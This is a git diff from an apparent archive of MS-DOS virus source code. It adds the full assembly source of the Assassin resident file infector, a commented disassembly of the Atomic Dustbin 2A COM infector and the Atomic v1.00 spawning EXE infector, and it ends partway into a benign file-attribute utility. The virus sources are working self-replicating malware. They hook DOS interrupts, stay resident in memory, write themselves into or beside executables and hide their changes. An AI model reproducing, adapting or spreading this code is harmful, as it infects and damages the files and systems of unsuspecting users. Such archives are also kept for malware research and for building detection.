37h +endm + +_dad_sp macro +db 39h +endm + +_lda macro _addr16 +db 3ah +dw _addr16 +endm + +_dcx_sp macro +db 3bh +endm + +_inr_a macro +db 3ch +endm + +_dcr_a macro +db 3dh +endm + +_mvi_a macro oper8 +db 3eh +db oper8 +endm + +_cmc macro +db 3fh +endm + +;------------------------------------- 4 ------------------------------------- + +_mov_b_b macro +db 40h +endm + +_mov_b_c macro +db 41h +endm + +_mov_b_d macro +db 42h +endm + +_mov_b_e macro +db 43h +endm + +_mov_b_h macro +db 44h +endm + +_mov_b_l macro +db 45h +endm + +_mov_b_m macro +db 46h +endm + +_mov_b_a macro +db 47h +endm + +_mov_c_b macro +db 48h +endm + +_mov_c_c macro +db 49h +endm + +_mov_c_d macro +db 4ah +endm + +_mov_c_e macro +db 4bh +endm + +_mov_c_h macro +db 4ch +endm + +_mov_c_l macro +db 4dh +endm + +_mov_c_m macro +db 4eh +endm + +_mov_c_a macro +db 4fh +endm + +;------------------------------------- 5 ------------------------------------- + +_mov_d_b macro +db 50h +endm + +_mov_d_c macro +db 51h +endm + +_mov_d_d macro +db 52h +endm + +_mov_d_e macro +db 53h +endm + +_mov_d_h macro +db 54h +endm + +_mov_d_l macro +db 55h +endm + +_mov_d_m macro +db 56h +endm + +_mov_d_a macro +db 57h +endm + +_mov_e_b macro +db 58h +endm + +_mov_e_c macro +db 59h +endm + +_mov_e_d macro +db 5ah +endm + +_mov_e_e macro +db 5bh +endm + +_mov_e_h macro +db 5ch +endm + +_mov_e_l macro +db 5dh +endm + +_mov_e_m macro +db 5eh +endm + +_mov_e_a macro +db 5fh +endm + +;------------------------------------- 6 ------------------------------------- + +_mov_h_b macro +db 60h +endm + +_mov_h_c macro +db 61h +endm + +_mov_h_d macro +db 62h +endm + +_mov_h_e macro +db 63h +endm + +_mov_h_h macro +db 64h +endm + +_mov_h_l macro +db 65h +endm + +_mov_h_m macro +db 66h +endm + +_mov_h_a macro +db 67h +endm + +_mov_l_b macro +db 68h +endm + +_mov_l_c macro +db 69h +endm + +_mov_l_d macro +db 6ah +endm + +_mov_l_e macro +db 6bh +endm + +_mov_l_h macro +db 6ch +endm + +_mov_l_l macro +db 6dh +endm + +_mov_l_m macro +db 6eh +endm + +_mov_l_a macro +db 6fh +endm + +;------------------------------------- 7 ------------------------------------- + +_mov_m_b macro +db 70h +endm + +_mov_m_c macro +db 71h +endm + +_mov_m_d macro +db 72h +endm + +_mov_m_e macro +db 73h +endm + +_mov_m_h macro +db 74h +endm + +_mov_m_l macro +db 75h +endm + +_hlt macro +db 76h +endm + +_mov_m_a macro +db 77h +endm + +_mov_a_b macro +db 78h +endm + +_mov_a_c macro +db 79h +endm + +_mov_a_d macro +db 7ah +endm + +_mov_a_e macro +db 7bh +endm + +_mov_a_h macro +db 7ch +endm + +_mov_a_l macro +db 7dh +endm + +_mov_a_m macro +db 7eh +endm + +_mov_a_a macro +db 7fh +endm + +;------------------------------------- 8 ------------------------------------- + +_add_b macro +db 80h +endm + +_add_c macro +db 81h +endm + +_add_d macro +db 82h +endm + +_add_e macro +db 83h +endm + +_add_h macro +db 84h +endm + +_add_l macro +db 85h +endm + +_add_m macro +db 86h +endm + +_add_a macro +db 87h +endm + +_adc_b macro +db 88h +endm + +_adc_c macro +db 89h +endm + +_adc_d macro +db 8ah +endm + +_adc_e macro +db 8bh +endm + +_adc_h macro +db 8ch +endm + +_adc_l macro +db 8dh +endm + +_adc_m macro +db 8eh +endm + +_adc_a macro +db 8fh +endm + +;------------------------------------- 9 ------------------------------------- + +_sub_b macro +db 90h +endm + +_sub_c macro +db 91h +endm + +_sub_d macro +db 92h +endm + +_sub_e macro +db 93h +endm + +_sub_h macro +db 94h +endm + +_sub_l macro +db 95h +endm + +_sub_m macro +db 96h +endm + +_sub_a macro +db 97h +endm + +_sbb_b macro +db 98h +endm + +_sbb_c macro +db 99h +endm + +_sbb_d macro +db 9ah +endm + +_sbb_e macro +db 9bh +endm + +_sbb_h macro +db 9ch +endm + +_sbb_l macro +db 9dh +endm + +_sbb_m macro +db 9eh +endm + +_sbb_a macro +db 9fh +endm + +;------------------------------------- A ------------------------------------- + +_ana_b macro +db 0a0h +endm + +_ana_c macro +db 0a1h +endm + +_ana_d macro +db 0a2h +endm + +_ana_e macro +db 0a3h +endm + +_ana_h macro +db 0a4h +endm + +_ana_l macro +db 0a5h +endm + +_ana_m macro +db 0a6h +endm + +_ana_a macro +db 0a7h +endm + +_xra_b macro +db 0a8h +endm + +_xra_c macro +db 0a9h +endm + +_xra_d macro +db 0aah +endm + +_xra_e macro +db 0abh +endm + +_xra_h macro +db 0ach +endm + +_xra_l macro +db 0adh +endm + +_xra_m macro +db 0aeh +endm + +_xra_a macro +db 0afh +endm + +;------------------------------------- B ------------------------------------- + +_ora_b macro +db 0b0h +endm + +_ora_c macro +db 0b1h +endm + +_ora_d macro +db 0b2h +endm + +_ora_e macro +db 0b3h +endm + +_ora_h macro +db 0b4h +endm + +_ora_l macro +db 0b5h +endm + +_ora_m macro +db 0b6h +endm + +_ora_a macro +db 0b7h +endm + +_cmp_b macro +db 0b8h +endm + +_cmp_c macro +db 0b9h +endm + +_cmp_d macro +db 0bah +endm + +_cmp_e macro +db 0bbh +endm + +_cmp_h macro +db 0bch +endm + +_cmp_l macro +db 0bdh +endm + +_cmp_m macro +db 0beh +endm + +_cmp_a macro +db 0bfh +endm + +;------------------------------------- C ------------------------------------- + +_rnz macro +db 0c0h +endm + +_pop_b macro +db 0c1h +endm + +_jnz macro addr16 +db 0c2h +dw addr16 +endm + +_jmp macro addr16 +db 0c3h +dw addr16 +endm + +_cnz macro addr16 +db 0c4h +dw addr16 +endm + +_push_b macro +db 0c5h +endm + +_adi macro oper8 +db 0c6h +db oper8 +endm + +_rst_0 macro +db 0c7h +endm + +_rz macro +db 0c8h +endm + +_ret macro +db 0c9h +endm + +_jz macro addr16 +db 0cah +dw addr16 +endm + +_cz macro addr16 +db 0cch +dw addr16 +endm + +_call macro addr16 +db 0cdh +dw addr16 +endm + +_aci macro oper8 +db 0ceh +db oper8 +endm + +_rst_1 macro +db 0cfh +endm + +;------------------------------------- D ------------------------------------- + +_rnc macro +db 0d0h +endm + +_pop_d macro +db 0d1h +endm + +_jnc macro addr16 +db 0d2h +dw addr16 +endm + +_out macro oper8 +db 0d3h +db oper8 +endm + +_cnc macro addr16 +db 0d4h +dw addr16 +endm + +_push_d macro +db 0d5h +endm + +_sui macro oper8 +db 0d6h +db oper8 +endm + +_rst_2 macro +db 0d7h +endm + +_rc macro +db 0d8h +endm + +_jc macro addr16 +db 0dah +dw addr16 +endm + +_in macro oper8 +db 0dbh +db oper8 +endm + +_cc macro addr16 +db 0dch +dw addr16 +endm + +_sbi macro oper8 +db 0deh +db oper8 +endm + +_rst_3 macro +db 0dfh +endm + +;------------------------------------- E ------------------------------------- + +_rpo macro +db 0e0h +endm + +_pop_h macro +db 0e1h +endm + +_jpo macro addr16 +db 0e2h +dw addr16 +endm + +_xthl macro +db 0e3h +endm + +_cpo macro addr16 +db 0e4h +dw addr16 +endm + +_push_h macro +db 0e5h +endm + +_ani macro oper8 +db 0e6h +db oper8 +endm + +_rst_4 macro +db 0e7h +endm + +_rpe macro +db 0e8h +endm + +_pchl macro +db 0e9h +endm + +_jpe macro addr16 +db 0eah +dw addr16 +endm + +_xchg macro +db 0ebh +endm + +_cpe macro addr16 +db 0ech +dw addr16 +endm + +_xri macro oper8 +db 0eeh +db oper8 +endm + +_rst_5 macro +db 0efh +endm + +;------------------------------------- F ------------------------------------- + +_rp macro +db 0f0h +endm + +_pop_psw macro +db 0f1h +endm + +_jp macro addr16 +db 0f2h +dw addr16 +endm + +_di macro +db 0f3h +endm + +_cp macro addr16 +db 0f4h +dw addr16 +endm + +_push_psw macro +db 0f5h +endm + +_ori macro oper8 +db 0f6h +db oper8 +endm + +_rst_6 macro +db 0f7h +endm + +_rm macro +db 0f8h +endm + +_sphl macro +db 0f9h +endm + +_jm macro addr16 +db 0fah +dw addr16 +endm + +_ei macro +db 0fbh +endm + +_cm macro addr16 +db 0fch +dw addr16 +endm + +_cpi macro oper8 +db 0feh +db oper8 +endm + +_rst_7 macro +db 0ffh +endm + +; non used: 8h,10h,18h,20h,28h,30h,38h,0cbh,d9h,0ddh,0edh,0fdh + + +; (c) by Reminder [DVC] + diff --git a/MSDOS/Virus.MSDOS.Unknown.assassin.asm b/MSDOS/Virus.MSDOS.Unknown.assassin.asm new file mode 100644 index 00000000..85c69a4c --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.assassin.asm @@ -0,0 +1,553 @@ +From netcom.com!ix.netcom.com!howland.reston.ans.net!cs.utexas.edu!utnut!torn!uunet.ca!uunet.ca!io.org!grin.io.org!scottjp Sat Jan 14 12:10:08 1995 +Xref: netcom.com alt.comp.virus:961 +Path: netcom.com!ix.netcom.com!howland.reston.ans.net!cs.utexas.edu!utnut!torn!uunet.ca!uunet.ca!io.org!grin.io.org!scottjp +From: scottjp@grin.io.org (h0m3r s3xu4l) +Newsgroups: alt.comp.virus +Subject: Assassin source code +Date: 9 Jan 1995 21:10:06 GMT +Organization: Internex Online, Toronto, Ontario, Canada (416 363 3783) +Lines: 539 +Message-ID: <3es8ne$c9i@ionews.io.org> +NNTP-Posting-Host: grin.io.org +X-Newsreader: TIN [version 1.2 PL2] + + +; Assassin (Bug Fix version) +; by Dark Slayer + +mem_size equ offset memory_end-offset start +mem_para equ (mem_size+0fh)/10h +low_mem_size equ mem_size+100h +low_mem_para equ (low_mem_size+0fh)/10h +vir_size equ offset vir_end-offset start +vir_sector equ (vir_size+1ffh+2)/200h +constant_size equ offset constant-offset start + + .model tiny + .code + org 0 +start: + xor di,di + mov dx,ds:[di+2] + sub dh,5 + + mov ah,26h + int 21h + + mov bp,ds:[di+2ch] + + mov ah,4ah + mov bx,low_mem_para + int 21h + + mov ah,52h + int 21h + mov bx,es:[bx-2] + mov ax,cs + dec ax +mcb: + mov cx,ds + mov ds,bx + inc bx + mov dx,bx + add bx,ds:[di+3] + or bp,bp + jnz not_boot + cmp ax,bx + jne not_our_mcb + add word ptr ds:[di+3],low_mem_para+1 +not_our_mcb: + cmp ax,cx + jne not_boot + mov ds:[di+1],dx + mov di,8 + push ds + pop es + mov si,di + mov ds,ax + mov cx,di + rep movsb + push dx + add ax,10h+1 + push ax + jmp short search +not_boot: + cmp byte ptr ds:[di],4dh + je mcb + cmp byte ptr ds:[di],5ah + je mcb + mov sp,low_mem_size + sub dx,mem_para+1 + mov es,dx + sub dx,cx + dec dx + mov ds,cx + mov ds:[di+3],dx + mov si,100h + mov cx,vir_size + rep movs byte ptr es:[di],cs:[si] + + push es +search: + mov ax,352ah + int 21h + pop ds + push ds + mov di,offset i21_table + mov ds:old2a[di]-i21_table,bx + mov ds:old2a[di+2]-i21_table,es + mov ah,25h + mov dx,offset int2a + int 21h + mov dx,bx + push es + pop ds + int 21h + pop es + lds si,es:[di] +search_table: + lodsw +search_table_: + dec si + cmp ax,8b2eh + jne search_table + lodsw + cmp ah,9fh + jne search_table_ + movsw + scasw + lea ax,[si-1e0h] + stosw + xchg si,ax + mov word ptr ds:[si],0eacbh + mov word ptr ds:[si+2],offset i21_3e + mov ds:[si+4],es + mov byte ptr ds:[si+6],0eah + mov word ptr ds:[si+7],offset i21_3f + mov ds:[si+9],es + call set21 + + mov cx,bp + jcxz boot + mov ds,bp + xor si,si +l2: + lodsw + dec si + or ax,ax + jnz l2 + lea dx,[si+3] + mov di,offset pcb+4+100h + push cs + pop es + mov ax,cs + stosw + scasw + stosw + scasw + stosw + mov ax,4b00h + mov bx,offset pcb+100h + int 21h + mov ah,4dh + int 21h + mov ah,4ch + int 21h + +boot: + pop dx + mov ah,26h + int 21h + mov bl,3 + mov ss:[bp+18h+5],bl + mov ax,1216h + int 2fh + inc bp + mov es:[di],bp + mov ss,dx + mov ds,dx + mov ax,4200h + mov bl,5 + cwd + int 21h + mov ah,3fh + dec cx + inc dh + int 21h + mov ah,3eh + int 21h + push ds + pop es + push ds + push dx + retf + +read_cmp proc + mov cx,vir_size + mov dx,cx + push cs + pop ds + call read + jc rc_exit + push cx + xor si,si +if (vir_size and 0ff00h) eq (constant_size and 0ff00h) + mov cl,constant_size and 0ffh +else + mov cx,constant_size +endif +compare: + lodsb + cmp al,ds:read_buffer[si-1] + loope compare + clc + pop cx +rc_exit: + ret +read_cmp endp + +read proc + push bx + push dx + push ds + mov ax,1229h + int 2fh + pop ds + pop dx + pop bx + ret +read endp + +write proc + mov bp,40h*2 +i21_func proc + pop ax + push bx + push cs + push ax + push cs + pop ds + push ds:i21_far_jmp + les di,dword ptr ds:i21_table + push es + push es:[di+bp] + retf +i21_func endp +write endp + +set2324_restore21 proc + push ds + mov si,23h*4 + xor ax,ax + mov ds,ax + mov di,offset old23 + push cs + pop es + mov ax,offset int23 + mov bp,2 +sm_23_1: + movsw + mov ds:[si-2],ax + movsw + mov ds:[si-2],cs +if ((int23-start) and 0ff00h) eq ((int24-start) and 0ff00h) + mov al,(offset int24-offset start) and 0ffh +else + mov ax,offset int24 +endif + dec bp + jnz sm_23_1 + mov si,di + push cs + pop ds + mov bp,-4 +rs_1: + inc bp + inc bp + les di,dword ptr ds:i21_table + mov di,es:[di+bp+2+3eh*2] + movsb + movsw + jnz rs_1 + pop ds + + pop bp + pop ax + push es + push ax + +get_sft proc + push bx + mov ax,1220h + int 2fh + mov bl,es:[di] + mov ax,1216h + int 2fh + pop bx + jmp bp +get_sft endp +set2324_restore21 endp + +set21_restore23 proc + mov si,offset old23 + push cs + pop ds + mov di,23h*4 + xor cx,cx + mov es,cx + mov cl,4 + rep movsw + push cs + pop es + +set21 proc ; es = vir segment + push ax + mov bx,-4 + mov di,offset i21_3e_data + mov cx,es:i21_far_jmp[di]-i21_3e_data + inc cx +sm_1: + inc bx + lds si,dword ptr es:i21_table + mov ax,ds:[si+bx+3+3eh*2] + mov si,ax + movsb + movsw + xchg si,ax + sub ax,cx + neg ax + mov byte ptr ds:[si],0e9h + mov ds:[si+1],ax + add cx,5 + inc bx + jnz sm_1 + pop ax + ret +set21 endp +set21_restore23 endp + +i21_3e: + call set2324_restore21 + jc jc_exit + push es + pop ds + cmp word ptr ds:[di],1 + jne jne_exit + les ax,dword ptr ds:[di+28h] + mov dx,es + cmp ax,'OC' + jne exe + mov al,'M' + jmp short com +exe: + cmp ax,'XE' + jne jne_exit +com: + cmp dl,al +jne_exit: + jne jne_exit_ + les ax,dword ptr ds:[di+11h] + cmp ax,vir_size +jc_exit: + jb jc_exit_ + cmp ax,0ffffh-(vir_size+2) + ja jne_exit_ + mov dx,es + or dx,dx +jne_exit_: + jnz i21_3e_exit + mov ds:[di+15h],dx + mov ds:[di+17h],dx + les si,dword ptr ds:[di+7] + les si,dword ptr es:[si+2] + add ax,si + dec ax + div si + mov cx,es + inc cx + div cl + or ah,ah + jz i21_3e_exit + sub cl,ah + cmp cl,vir_sector +jc_exit_: + jb i21_3e_exit + les ax,ds:[di+4] + push ax + push es + and ax,1000000000011100b + jnz close_ + mov byte ptr ds:[di+2],2 + mov ds:[di+4],al + + call read_cmp + jbe close + + mov si,cx +cmp_device: + dec si + lodsw + inc ax + loopnz cmp_device + jcxz not_device + dec ax + cmp ax,ds:[si] + je close + jmp short cmp_device +not_device: + mov ax,es:[di+11h] + mov es:[di+15h],ax + + mov cx,vir_size+2 + mov dx,offset id + call write + pop bx + jc close + sub es:[di+11h],ax + dec cx + dec cx + cwd + mov es:[di+15h],dx + call write + pop bx +close: + push es + pop ds +close_: + pop ds:[di+6] + pop ds:[di+4] + mov bp,0dh*2 + call i21_func + pop bx +i21_3e_exit: + mov ax,1227h + int 2fh + jmp i21_3f_exit + +i21_3f: + call set2324_restore21 + + les ax,dword ptr es:[di+15h] + push ax + push es + call read + pop bp + pop si + cmc + jnc jnc_exit + test word ptr es:[di+4],1000000000011000b + jnz jnz_3f_exit + or bp,bp +jnz_3f_exit: + jnz i21_3f_exit + sub si,vir_size +jnc_exit: + jae i21_3f_exit + xor cx,cx + xchg cx,es:[di+15h] + push cx + xor cx,cx + xchg cx,es:[di+17h] + push cx + push ax + push si + + push dx + push ds + call read_cmp + pop ds + pop dx + jc i21_3f_exit_1 + jne i21_3f_exit_1 + + push dx + push ds + + push es + pop ds + mov ax,ds:[di+11h] + mov ds:[di+15h],ax + add word ptr ds:[di+11h],vir_size+2 + + mov cl,2 + mov dx,offset read_buffer + push cs + pop ds + call read + pop ds + pop dx + jc i21_3f_exit_2 + cmp word ptr cs:read_buffer,'SD' + je i21_3f_l0 + mov ax,1218h + int 2fh + or byte ptr ds:[si+16h],1 + jmp short i21_3f_exit_2 +i21_3f_l0: + pop si + neg si + mov ax,es:[di+11h] + sub ax,si + mov es:[di+15h],ax + pop cx + push cx + push cx + cmp cx,si + jb i21_3f_l1 + mov cx,si +i21_3f_l1: + call read +i21_3f_exit_2: + sub word ptr es:[di+11h],vir_size+2 +i21_3f_exit_1: + pop ax + pop ax + pop es:[di+17h] + pop es:[di+15h] +i21_3f_exit: + call set21_restore23 + push ax + mov ax,1218h + int 2fh + mov ax,ds:[si+16h] + shr ax,1 + pop ax + mov ds:[si],ax + retf + +int23: + call set21_restore23 + jmp dword ptr cs:old23 + +int24: + xor ax,ax + iret +int2a: + pop cs:i21_table + pop cs:i21_table[2] + sub sp,4 + jmp dword ptr cs:old2a + +msg db ' This is [Assassin] written by Dark Slayer ' + db 'in Keelung. Taiwan ' + +constant: + +pcb dw 0,80h,?,5ch,?,6ch,? +id db 'DS' +vir_end: + +read_buffer db vir_size dup(?) + +old2a dw ?,? +old23 dw ?,? +old24 dw ?,? +i21_3e_data db 3 dup(?) +i21_3f_data db 3 dup(?) +i21_table dw ?,? +i21_far_jmp dw ? + +memory_end: + end start + + diff --git a/MSDOS/Virus.MSDOS.Unknown.atomc350.asm b/MSDOS/Virus.MSDOS.Unknown.atomc350.asm new file mode 100644 index 00000000..02c5134b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.atomc350.asm @@ -0,0 +1,162 @@ +;Disassembly of the Atomic Dustbin 2A virus by Memory Lapse. + +;For a byte-to-byte matchup, assemble with TASM /M2. + + .model tiny + + .code + + org 100h + +start: + db 0e9h, 02, 00 ;JMP NEAR PTR STARTVIRUS + + db 'ML' ;Virus signature. +startvirus: + call get_relative +get_relative: + pop bp + sub bp,offset get_relative + + lea si,[bp+restore_bytes] + + mov di,100h + push di + movsw + movsw + movsb ;Restore start of host. + mov ah,4Eh + lea dx,[bp+filemask] + int 21h ;Find first. + + jc quit_virus + + call try_infect + +loc_2: + mov ah,4Fh + int 21h ;Find next. + + jc quit_virus + call try_infect + jmp quit_virus + + nop + mov ah,09 + lea dx, [bp+message] + int 21h + int 20h + +quit_virus: + mov bp, 100h + jmp bp ;Restart host. + +try_infect: + mov ax,3D02h + mov dx,9eh ;Offset of filename in DTA. + int 21h ;Try to open file in read/write + ;mode. + + ;No error checking!! + + xchg bx,ax ;Handle more useful in BX. + + mov ax,4200h + xor cx,cx + xor dx,dx ;CWD! + int 21h ;Seek to start, but filepos + ;is already equal to BOF. + + mov ah,3Fh + mov cx,5 + lea dx,[bp+restore_bytes] ;Read five bytes. + int 21h + + cmp word ptr cs:[bp+restore_bytes+3],'LM' + je loc_2 + mov ax,5700h + int 21h ;Get file date/time + + push cx + push dx ;Save it. + mov ax,4202h + xor cx,cx + xor dx,dx ;CWD! + int 21h ;Seek to EOF. + + push bx + + sub ax,3 + lea bx,[bp+jmpdata] + mov [bx],ax ;JMP constructed. + pop bx + mov ah,40h + mov cx,(endvirus-startvirus) + lea dx,[bp+startvirus] + int 21h ;Attach virus to new host. + + mov ax,4200h + xor cx,cx + xor dx,dx ;CWD! + int 21h ;Back to bof. + + mov ah,40h + mov cx,1 + lea dx,[bp+jump] + int 21h ;Write first byte of jmp. + + mov ax,4200h + xor cx,cx + mov dx,1 ;Seek to bof+1. + int 21h + + mov ah,40h + mov cx,4 + lea dx,[bp+jmpdata] + int 21h ;And finish the jmp write. + ;(probably some anti- + ;heuristical code) + + mov ax,4200h + xor cx,cx + xor dx,dx + int 21h ;back to bof AGAIN. + + mov ax,5701h + pop dx + pop cx + int 21h ;Restore file date/time. + + mov ah,3Eh + int 21h ;Close file - infection + ;complete. + + ret + +filemask db '*.COM', 0 + +db '[TAD2A] Created by Memory Lapse of Ontario, Canada', 0Dh, 0Ah, '$' + +db '[TAD2A] The Atomic Dustbin 2A - Just Shake Your Rump!', 0Dh, 0Ah,'$' + +message db 'Fail on INT 24 .. NOT!!', 0Dh, 0Ah,'$' + +jump db 0E9h +jmpdata dw 0 + + db 'ML' + + db 00h, 00h + +restore_bytes: + int 20h + nop + nop + nop +endvirus: + end start + +; ───────────────────────────────────────────────────────────────────────── +; ───────────────> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <─────────────── +; ───────────> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <─────────── +; ───────────────────────────────────────────────────────────────────────── diff --git a/MSDOS/Virus.MSDOS.Unknown.atomic.asm b/MSDOS/Virus.MSDOS.Unknown.atomic.asm new file mode 100644 index 00000000..ed58675b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.atomic.asm @@ -0,0 +1,257 @@ +comment $ + + ш Atomic v1.00 ш + + This virus is a spawning, resident infector of .EXE + programs. Upon execution, Atomic will stay resident + in memory, and capture int 21h. Whenever it detects + an .EXE file being executed, it will create a .COM + file with the virus in the same directory, with the + same name. + + If the user tries to run an infected .EXE file, the + .COM file is run first, installing itself in memory + and spreading it yet more. (The infected .EXE files + are not actually changed.) + + On the 14th of the month, the virus will affix its + signature to three non-EXE files that are opened or + executed. The signature is just a short string that + says "Atomix v1.00 by Mnemonix." + + So here it is. Enjoy. + + MnemoniX + +$ + +_TEST_ equ 0FEEDh ; infection test +_PASS_ equ 0DEADh +SIG_LENGTH equ 31 ; length of signature + +code segment + assume cs:code,ds:code + + org 100h + +start: + jmp begin_virus + +result dw 0 +buffer dw 0 +signatures db 3 + +old_int_21 dd 0 + +signature db ' ',15,' Atomic v1.00 ',15,' by MnemoniX',0 + +exe_file db 64 dup(?) + +parm_block: +environment dw 0 +cmd_line dw 80h ; cmd line offset +cmd_line_seg dw 0 ; cmd line seg +fcb_1 dd 0 ; who cares about FCB's? +fcb_2 dd 0 + +; ======================================> +; infecting routine (int 21 handler) +; ======================================> + +int_21: + pushf + call dword ptr cs:[old_int_21] + ret + +new_int_21: + sti + cmp ax,4B00h ; execute file? + je infect ; yes, try infecting + + cmp ah,3Dh ; open file? + je infect ; same .... + + cmp ax,_TEST_ ; check for virus in memory? + je pass_signal ; yes, give pass signal + jmp quick_exit + +pass_signal: + mov ax,_PASS_ ; give passing signal + iret ; and get out + +infect: + push ax + push bx + push cx + push dx + push di + push si + push ds + push es + + push ds + push dx ; save file name + mov ax,3D02h ; open file + call int_21 + jnc read_file ; can't open; leave + + pop dx + pop ds + jmp quit + +read_file: + mov bx,ax ; file handle in BX + + push cs + pop ds + mov dx,offset buffer ; get in 2 bytes + mov cx,2 + mov ah,3Fh + call int_21 + + mov ax,buffer + cmp ax,'ZM' ; .EXE file? + je infect_it ; yep; let's go + pop dx + pop ds + + mov ah,2Ah ; if not an .EXE, + int 21h ; check date; if 14th of + cmp dl,14 ; month, we will add a sig + je sign ; to three files regardless + jmp close + +sign: + push cs + pop ds + cmp signatures,0 ; if three sigs done already, + jne add_sig ; skip it + jmp close + +add_sig: + dec signatures + mov ax,4202h ; add sig to non-.EXE files + xor cx,cx ; on 14th of month + xor dx,dx + int 21h + + mov dx,offset signature + mov cx,SIG_LENGTH + mov ah,40h + int 21h + jmp close + +infect_it: + pop si ; get name of file + pop ds + push cs + pop es + + mov di,offset exe_file + mov cx,64 + rep movsb + + push cs ; scan for period '.' + pop ds + mov si,offset exe_file + +scan_name: + lodsb + cmp al,'.' + je add_ext + cmp al,0 ; no extension; close + je quit + jmp scan_name + +add_ext: ; add .COM extension + mov word ptr [si],'OC' + mov word ptr [si+2],'M' + + mov ah,3Eh ; close .EXE file + int 21h + + mov dx,offset exe_file ; now open file + mov ax,3D02h + call int_21 + jnc close ; if already there, skip it + cmp ax,02 + jne quit ; can't open, leave + + mov ah,3Ch ; create hidden .COM file + mov cx,2 + call int_21 + jc quit ; can't open, quit + mov bx,ax + + mov word ptr [si],'XE' ; switch back to .EXE ext. + mov word ptr [si+2],'E' + + mov dx,start ; write virus to file + mov cx,VIRUS_LENGTH + mov ah,40h + call int_21 + +close: + mov ah,3Eh + call int_21 + +quit: + pop es ; etc. + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + +quick_exit: + jmp dword ptr cs:[old_int_21] + +; ===================================> +; installation routine +; ===================================> + +begin_virus: + mov ax,_TEST_ ; test for infection + int 21h + mov result,ax ; save for later + + push cs + pop cmd_line_seg + + mov dx,offset exe_file ; run .EXE file + mov bx,offset parm_block + mov ax,4B00h + int 21h + + mov ax,result ; check for virus + cmp ax,_PASS_ ; already resident? + je exit ; if not, don't reinstall + + cli ; get old int 21 + push es + mov ax,0 + mov es,ax + mov ax,3521h + int 21h + mov w [offset old_int_21],bx + mov w [offset old_int_21+2],es + + mov ax,2521h + mov dx,offset new_int_21 ; set new int 21 + int 21h + + mov dx,PROGRAM + 100h ; TSR call - install virus + int 27h + +exit: + mov ah,4Ch + int 21h + +PROGRAM: + +VIRUS_LENGTH equ PROGRAM - start + + code ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.attr.asm b/MSDOS/Virus.MSDOS.Unknown.attr.asm new file mode 100644 index 00000000..dd70a74f --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.attr.asm @@ -0,0 +1,216 @@ +; ATTR.ASM -- File Attribute Utility +; ================================== + +CSEG Segment + Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG + Org 0080h +Parameter Label Byte ; Parameter is here + Org 0100h +Entry: Jmp Begin ; Entry Point + +; Most Data (some more at end of program) +; --------------------------------------- + + db "ATTR (C) 1986, Ziff-Davis Publishing Co.",1Ah + db " Programmed by Charles Petzold ",1Ah +SyntaxMsg db "Syntax: ATTR [+A|-A] [+S|-S] [+H|-H] [+R|-R] " + db "[drive:][path]filename",13,10 + db " Archive System Hidden Read-Only$" +DosVersMsg db "ATTR: Needs DOS 2.0 +$" +FlagErrMsg db "ATTR: Incorrect flag$" +FileSpecMsg db "ATTR: Incorrect File Spec$" +Delimiters db 9,' ,;=',13 +FlagList db "ASHR", 20h, 04h, 02h, 01h +AllFlagList db " $Arc $Dir $$$$$$Sys $Hid $R-O$" +ChangeFlag db 0 +AndAttrBits db 0 +OrAttrBits db 0 +SearchString dw ? +AppendFileName dw ? + +; Check DOS Version +; ----------------- + +Begin: Mov AH, 30h ; Check for DOS Version + Int 21h ; through DOS call + Cmp AL, 2 ; See if it's 2.0 or above + Jae DosVersOK ; If so, continue + + Mov DX, Offset DosVersMsg ; Error message +ErrorExit: Mov AH, 9 ; Print String function call + Int 21h ; Do it + Int 20h ; And exit prematurely + +; Parse Command Line to get file specification +; -------------------------------------------- + +DosVersOK: Mov SI, 1+Offset Parameter ; Parameter string pointer + Cld ; Directions forward + +FlagSearch: Lodsb ; Get Byte + Mov DI, Offset Delimiters ; Check if delimiter + Mov CX, 5 ; Five delimiters to check + Repne Scasb ; Scan the string + Je FlagSearch ; If delimiter, circle back + Mov DX, Offset SyntaxMsg ; Possible error msg + Cmp AL, 13 ; If carriage return, no file + Je ErrorExit ; so exit with message + + Mov DI, Offset OrAttrBits ; Pointer to plus flag saver + Cmp AL, '+' ; See if plus sign + Je PlusOrMinus ; If so, save the bit + Mov DI, Offset AndAttrBits ; Pointer to minus flag saver + Cmp AL, '-' ; See if minus sign + Jne MustBeFile ; If not, it must be file name + +PlusOrMinus: Mov [ChangeFlag],-1 ; Set for changing + Lodsb ; Get the next byte + And AL, 0DFh ; Capitalize it + Mov BX, Offset FlagList ; List for scanning + Mov CX, 4 ; Scan for A, S, H, and R + +SearchList: Cmp AL, [BX] ; See if a match + Jz FoundFlag ; If so, proceed to save + Inc BX ; Kick up pointer + Loop SearchList ; And loop around for next + Mov DX, Offset FlagErrMsg ; Otherwise, set message + Jmp ErrorExit ; And terminate + +FoundFlag: Mov AL, [BX + 4] ; Get bit mask + Or [DI], AL ; Turn saved bit on + Jmp FlagSearch ; And continue looking + +MustBeFile: Not [AndAttrBits] ; Invert bits for turn off + Mov [SearchString], SI ; Save file name pointer + Dec [SearchString] ; Actually one byte lower + +EndSearch: Lodsb ; Get Byte + Mov DI, Offset Delimiters ; Check if delimiter + Mov CX, 6 ; Six delimiters including CR + Repne Scasb ; Scan the string + Jne EndSearch ; If not delimiter, keep going + +; Transfer Search String down at end of program +; --------------------------------------------- + + Dec SI ; Points after file spec + Mov Byte Ptr [SI], 0 ; Make it ASCIIZ string + Mov CX, SI ; CX points to end + Mov SI, [SearchString] ; SI points to beginning + Sub CX, SI ; Now CX is length of it + Mov DI, Offset PathAndFile ; Destination of string + Mov [AppendFileName], DI ; Save it here also + +SearchTrans: Lodsb ; Get byte of search string + Stosb ; And save it down below + Cmp AL, ':' ; See if drive marker + Je PossibleEnd ; If so, take note of it + Cmp AL, '\' ; See if path separator + Jne NextCharacter ; If not, skip next code + +PossibleEnd: Mov [AppendFileName], DI ; This is the new end +NextCharacter: Loop SearchTrans ; Do it again until done + +; Find Files from Search String +; ----------------------------- + + Mov DX, Offset DTABuffer ; Set File Find buffer + Mov AH, 1Ah ; by calling DOS + Int 21h + + Mov DX, [SearchString] ; Search string + Mov CX, 16h ; Search Everything + Mov AH, 4Eh ; Find first file + +FindFile: Int 21h ; 